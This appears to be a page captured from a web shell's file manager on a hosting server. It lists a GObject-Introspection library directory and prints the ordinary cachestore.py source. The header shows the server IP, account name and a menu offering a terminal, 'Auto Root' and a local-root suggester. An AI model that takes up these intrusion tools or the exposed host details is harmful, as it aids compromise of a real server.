Linux server19.dn-server.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
LiteSpeed
Server IP : 46.209.20.154 & Your IP : 216.73.217.55
Domains :
Cant Read [ /etc/named.conf ]
User : emadteam
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib64 /
gobject-introspection /
giscanner /
Delete
Unzip
Name
Size
Permission
Date
Action
collections
[ DIR ]
drwxr-xr-x
2022-08-06 15:50
doctemplates
[ DIR ]
drwxr-xr-x
2022-08-06 15:50
__init__.py
1.03
KB
-rw-r--r--
2018-10-29 17:16
__init__.pyc
432
B
-rw-r--r--
2018-10-29 17:16
__init__.pyo
432
B
-rw-r--r--
2018-10-29 17:16
_giscanner.so
94.26
KB
-rwxr-xr-x
2018-10-29 17:16
annotationmain.py
3.75
KB
-rw-r--r--
2018-10-29 17:16
annotationmain.pyc
2.86
KB
-rw-r--r--
2018-10-29 17:16
annotationmain.pyo
2.86
KB
-rw-r--r--
2018-10-29 17:16
annotationparser.py
99.14
KB
-rw-r--r--
2018-10-29 17:16
annotationparser.pyc
74.97
KB
-rw-r--r--
2018-10-29 17:16
annotationparser.pyo
74.97
KB
-rw-r--r--
2018-10-29 17:16
ast.py
41.73
KB
-rw-r--r--
2018-10-29 17:16
ast.pyc
47.07
KB
-rw-r--r--
2018-10-29 17:16
ast.pyo
46.26
KB
-rw-r--r--
2018-10-29 17:16
cachestore.py
5.91
KB
-rw-r--r--
2018-10-29 17:16
cachestore.pyc
5.27
KB
-rw-r--r--
2018-10-29 17:16
cachestore.pyo
5.27
KB
-rw-r--r--
2018-10-29 17:16
ccompiler.py
16.47
KB
-rw-r--r--
2018-10-29 17:16
ccompiler.pyc
9.01
KB
-rw-r--r--
2018-10-29 17:16
ccompiler.pyo
9.01
KB
-rw-r--r--
2018-10-29 17:16
codegen.py
6.1
KB
-rw-r--r--
2018-10-29 17:16
codegen.pyc
5.86
KB
-rw-r--r--
2018-10-29 17:16
codegen.pyo
5.81
KB
-rw-r--r--
2018-10-29 17:16
docmain.py
2.77
KB
-rw-r--r--
2018-10-29 17:16
docmain.pyc
2.1
KB
-rw-r--r--
2018-10-29 17:16
docmain.pyo
2.1
KB
-rw-r--r--
2018-10-29 17:16
docwriter.py
33.09
KB
-rw-r--r--
2018-10-29 17:16
docwriter.pyc
34.37
KB
-rw-r--r--
2018-10-29 17:16
docwriter.pyo
34.23
KB
-rw-r--r--
2018-10-29 17:16
dumper.py
10.69
KB
-rw-r--r--
2018-10-29 17:16
dumper.pyc
8.17
KB
-rw-r--r--
2018-10-29 17:16
dumper.pyo
8.17
KB
-rw-r--r--
2018-10-29 17:16
gdumpparser.py
20.97
KB
-rw-r--r--
2018-10-29 17:16
gdumpparser.pyc
18.24
KB
-rw-r--r--
2018-10-29 17:16
gdumpparser.pyo
18.1
KB
-rw-r--r--
2018-10-29 17:16
girparser.py
26.1
KB
-rw-r--r--
2018-10-29 17:16
girparser.pyc
22.3
KB
-rw-r--r--
2018-10-29 17:16
girparser.pyo
21.79
KB
-rw-r--r--
2018-10-29 17:16
girwriter.py
25.64
KB
-rw-r--r--
2018-10-29 17:16
girwriter.pyc
23.26
KB
-rw-r--r--
2018-10-29 17:16
girwriter.pyo
22.99
KB
-rw-r--r--
2018-10-29 17:16
introspectablepass.py
9.32
KB
-rw-r--r--
2018-10-29 17:16
introspectablepass.pyc
7.38
KB
-rw-r--r--
2018-10-29 17:16
introspectablepass.pyo
7.34
KB
-rw-r--r--
2018-10-29 17:16
libtoolimporter.py
2.64
KB
-rw-r--r--
2018-10-29 17:16
libtoolimporter.pyc
2.24
KB
-rw-r--r--
2018-10-29 17:16
libtoolimporter.pyo
2.24
KB
-rw-r--r--
2018-10-29 17:16
maintransformer.py
63.29
KB
-rw-r--r--
2018-10-29 17:16
maintransformer.pyc
42.48
KB
-rw-r--r--
2018-10-29 17:16
maintransformer.pyo
42.33
KB
-rw-r--r--
2018-10-29 17:16
message.py
7.75
KB
-rw-r--r--
2018-10-29 17:16
message.pyc
8.99
KB
-rw-r--r--
2018-10-29 17:16
message.pyo
8.99
KB
-rw-r--r--
2018-10-29 17:16
msvccompiler.py
3.74
KB
-rw-r--r--
2018-10-29 17:16
msvccompiler.pyc
2.71
KB
-rw-r--r--
2018-10-29 17:16
msvccompiler.pyo
2.71
KB
-rw-r--r--
2018-10-29 17:16
scannermain.py
24.19
KB
-rw-r--r--
2018-10-29 17:16
scannermain.pyc
19.37
KB
-rw-r--r--
2018-10-29 17:16
scannermain.pyo
19.37
KB
-rw-r--r--
2018-10-29 17:16
sectionparser.py
4.82
KB
-rw-r--r--
2018-10-29 17:16
sectionparser.pyc
4.81
KB
-rw-r--r--
2018-10-29 17:16
sectionparser.pyo
4.81
KB
-rw-r--r--
2018-10-29 17:16
shlibs.py
5.54
KB
-rw-r--r--
2018-10-29 17:16
shlibs.pyc
3.36
KB
-rw-r--r--
2018-10-29 17:16
shlibs.pyo
3.36
KB
-rw-r--r--
2018-10-29 17:16
sourcescanner.py
9.27
KB
-rw-r--r--
2018-10-29 17:16
sourcescanner.pyc
11.67
KB
-rw-r--r--
2018-10-29 17:16
sourcescanner.pyo
11.67
KB
-rw-r--r--
2018-10-29 17:16
testcodegen.py
5.8
KB
-rw-r--r--
2018-10-29 17:16
testcodegen.pyc
3.8
KB
-rw-r--r--
2018-10-29 17:16
testcodegen.pyo
3.76
KB
-rw-r--r--
2018-10-29 17:16
transformer.py
42.08
KB
-rw-r--r--
2018-10-29 17:16
transformer.pyc
30.15
KB
-rw-r--r--
2018-10-29 17:16
transformer.pyo
29.91
KB
-rw-r--r--
2018-10-29 17:16
utils.py
9.44
KB
-rw-r--r--
2018-10-29 17:16
utils.pyc
9.13
KB
-rw-r--r--
2018-10-29 17:16
utils.pyo
9.13
KB
-rw-r--r--
2018-10-29 17:16
xmlwriter.py
5.3
KB
-rw-r--r--
2018-10-29 17:16
xmlwriter.pyc
5.92
KB
-rw-r--r--
2018-10-29 17:16
xmlwriter.pyo
5.81
KB
-rw-r--r--
2018-10-29 17:16
Save
Rename
# -*- Mode: Python -*- # GObject-Introspection - a framework for introspecting GObject libraries # Copyright (C) 2008-2010 Johan Dahlin # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the # Free Software Foundation, Inc., 59 Temple Place - Suite 330, # Boston, MA 02111-1307, USA. # from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import errno import glob import hashlib import os import shutil import sys import tempfile try: import cPickle as pickle except ImportError: import pickle import giscanner from . import utils _CACHE_VERSION_FILENAME = '.cache-version' def _get_versionhash(): toplevel = os.path.dirname(giscanner.__file__) sources = glob.glob(os.path.join(toplevel, '*.py')) sources.append(sys.argv[0]) # Using mtimes is a bit (5x) faster than hashing the file contents mtimes = (str(os.stat(source).st_mtime) for source in sources) # ASCII encoding is sufficient since we are only dealing with numbers. return hashlib.sha1(''.join(mtimes).encode('ascii')).hexdigest() class CacheStore(object): def __init__(self): self._directory = self._get_cachedir() self._check_cache_version() def _get_cachedir(self): if 'GI_SCANNER_DISABLE_CACHE' in os.environ: return None else: cachedir = utils.get_user_cache_dir('g-ir-scanner') return cachedir def _check_cache_version(self): if self._directory is None: return current_hash = _get_versionhash() version = os.path.join(self._directory, _CACHE_VERSION_FILENAME) try: with open(version, 'r') as version_file: cache_hash = version_file.read() except (IOError, OSError) as e: # File does not exist if e.errno == errno.ENOENT: cache_hash = 0 else: raise if current_hash == cache_hash: return self._clean() tmp_fd, tmp_filename = tempfile.mkstemp(prefix='g-ir-scanner-cache-version-') try: with os.fdopen(tmp_fd, 'w') as tmp_file: tmp_file.write(current_hash) # On Unix, this would just be os.rename() but Windows # doesn't allow that. shutil.move(tmp_filename, version) except (IOError, OSError) as e: # Permission denied if e.errno == errno.EACCES: return else: raise def _get_filename(self, filename): # If we couldn't create the directory we're probably # on a read only home directory where we just disable # the cache all together. if self._directory is None: return # Assume UTF-8 encoding for the filenames. This doesn't matter so much # as long as the results of this method always produce the same hash. hexdigest = hashlib.sha1(filename.encode('utf-8')).hexdigest() return os.path.join(self._directory, hexdigest) def _cache_is_valid(self, store_filename, filename): return (os.stat(store_filename).st_mtime >= os.stat(filename).st_mtime) def _remove_filename(self, filename): try: os.unlink(filename) except (IOError, OSError) as e: # Ignore "permission denied", "file does not exist" if e.errno in (errno.EACCES, errno.ENOENT): return else: raise def _clean(self): for filename in os.listdir(self._directory): if filename == _CACHE_VERSION_FILENAME: continue self._remove_filename(os.path.join(self._directory, filename)) def store(self, filename, data): store_filename = self._get_filename(filename) if store_filename is None: return if (os.path.exists(store_filename) and self._cache_is_valid(store_filename, filename)): return None tmp_fd, tmp_filename = tempfile.mkstemp(prefix='g-ir-scanner-cache-') try: with os.fdopen(tmp_fd, 'wb') as tmp_file: pickle.dump(data, tmp_file) except (IOError, OSError) as e: # No space left on device if e.errno == errno.ENOSPC: self._remove_filename(tmp_filename) return else: raise try: shutil.move(tmp_filename, store_filename) except (IOError, OSError) as e: # Permission denied if e.errno == errno.EACCES: self._remove_filename(tmp_filename) else: raise def load(self, filename): store_filename = self._get_filename(filename) if store_filename is None: return try: fd = open(store_filename, 'rb') except (IOError, OSError) as e: if e.errno == errno.ENOENT: return None else: raise if not self._cache_is_valid(store_filename, filename): return None try: data = pickle.load(fd) except (AttributeError, EOFError, ValueError, pickle.BadPickleGet): # Broken cache entry, remove it self._remove_filename(store_filename) data = None return data